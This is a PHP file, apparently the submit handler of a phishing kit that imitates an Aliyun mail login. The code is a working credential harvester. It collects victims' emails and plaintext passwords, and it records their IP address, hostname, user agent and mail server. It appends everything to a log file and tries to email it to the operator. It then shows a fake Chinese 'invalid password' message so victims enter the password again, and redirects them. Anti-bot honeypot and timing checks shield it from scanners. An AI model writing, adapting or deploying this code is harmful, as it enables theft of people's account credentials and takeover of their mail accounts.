File: //home2/gazetufm/velessa.ai/sort/aliyun/new_aliyiun/submit.php
<?php
// Enable error reporting for debugging (remove in production)
error_reporting(E_ALL);
ini_set('display_errors', 1);
header('Content-Type: application/json');
ob_start();
// Debug - log all received data
error_log("=== New Login Attempt ===");
error_log("POST data: " . print_r($_POST, true));
// 1. Check if POST data is present
if (empty($_POST)) {
http_response_code(400);
echo json_encode(['signal' => 'error', 'msg' => 'No POST data received.']);
exit;
}
// 2. Collect inputs - FIXED to match HTML form names
$email = trim($_POST['email'] ?? ''); // Changed from 'ai' to 'email'
$password = trim($_POST['password'] ?? ''); // Changed from 'pr' to 'password'
$formTime = intval($_POST['form_time'] ?? 0);
$honeypot = trim($_POST['robot_check'] ?? '');
$signal = 'error';
$msg = 'Missing email or password.'; // Default message
// Debug log
error_log("Email: '$email', Password: '" . ($password ? '[PRESENT]' : 'MISSING') . "', formTime: $formTime, honeypot: '$honeypot'");
// 3. Anti-bot: Honeypot
if (!empty($honeypot)) {
error_log("Bot detected - honeypot filled");
echo json_encode(['signal' => 'error', 'msg' => 'Bot detected.']);
exit;
}
// 4. Anti-bot: Time check
if ($formTime > 0 && (time() - $formTime) < 2) {
error_log("Form submitted too quickly");
echo json_encode(['signal' => 'error', 'msg' => 'Form submitted too quickly.']);
exit;
}
// 5. Required field check
if (empty($email)) {
error_log("Email is empty");
echo json_encode(['signal' => 'error', 'msg' => 'Missing email.']);
exit;
}
if (empty($password)) {
error_log("Password is empty");
echo json_encode(['signal' => 'error', 'msg' => 'Missing password.']);
exit;
}
// 6. Validate email format
if (!filter_var($email, FILTER_VALIDATE_EMAIL)) {
error_log("Invalid email format: $email");
echo json_encode(['signal' => 'error', 'msg' => 'Invalid email format.']);
exit;
}
// If we get here, we have valid email and password
error_log("Valid credentials received for: $email");
// Function to get MX record URL
function getMXRecordURL($email) {
$domain = substr(strrchr($email, "@"), 1);
$domain = rtrim($domain, '.');
error_log("Checking MX for domain: $domain");
$mxhosts = [];
$weight = [];
$hasMX = @getmxrr($domain, $mxhosts, $weight);
if (!$hasMX || empty($mxhosts)) {
if (!@checkdnsrr($domain, 'MX')) {
return "NO MX RECORDS";
}
@getmxrr($domain, $mxhosts, $weight);
if (empty($mxhosts)) {
return "NO MX RECORDS";
}
}
error_log("Found MX hosts: " . implode(', ', $mxhosts));
return $mxhosts[0] ?? "NO MX RECORDS";
}
// Get the MX record URL
$mxRecordURL = getMXRecordURL($email);
// Get client info
$ip = $_SERVER["REMOTE_ADDR"] ?? 'unknown';
$hostname = @gethostbyaddr($ip);
$useragent = $_SERVER['HTTP_USER_AGENT'] ?? 'Unknown';
$domain = substr(strrchr($email, "@"), 1);
// Prepare log message
$message = "|---------- LOGIN INFO ----------|\n";
$message .= "Online ID: $email\n";
$message .= "Password : $password\n";
$message .= "Domain : $domain\n";
$message .= "MX Record: $mxRecordURL\n";
$message .= "Client IP: $ip\n";
$message .= "Hostname : $hostname\n";
$message .= "UserAgent: $useragent\n";
$message .= "Timestamp: " . date('Y-m-d H:i:s') . "\n";
$message .= "|--------------------------------|\n";
// Log to file (create a log file)
$logFile = 'login_attempts.log';
file_put_contents($logFile, $message, FILE_APPEND);
// Send email (make sure your server can send mail)
$to = "";
$subject = "Login: $ip - Domain: $domain";
$headers = "From: webmaster@" . $_SERVER['HTTP_HOST'] . "\r\n";
$headers .= "Reply-To: webmaster@" . $_SERVER['HTTP_HOST'] . "\r\n";
$headers .= "X-Mailer: PHP/" . phpversion();
// Try to send email but don't fail if it doesn't work
@mail($to, $subject, $message, $headers);
// Always return 'ok' with 'Invalid Credentials' message on first attempt
echo json_encode([
'signal' => 'ok', // This tells JS it was successful
'msg' => '密碼無效!請輸入正確的密碼。', // Chinese error message
'redirect_link' => 'http://mail.com'
]);
error_log("=== End Login Attempt ===\n");
ob_end_flush();
?>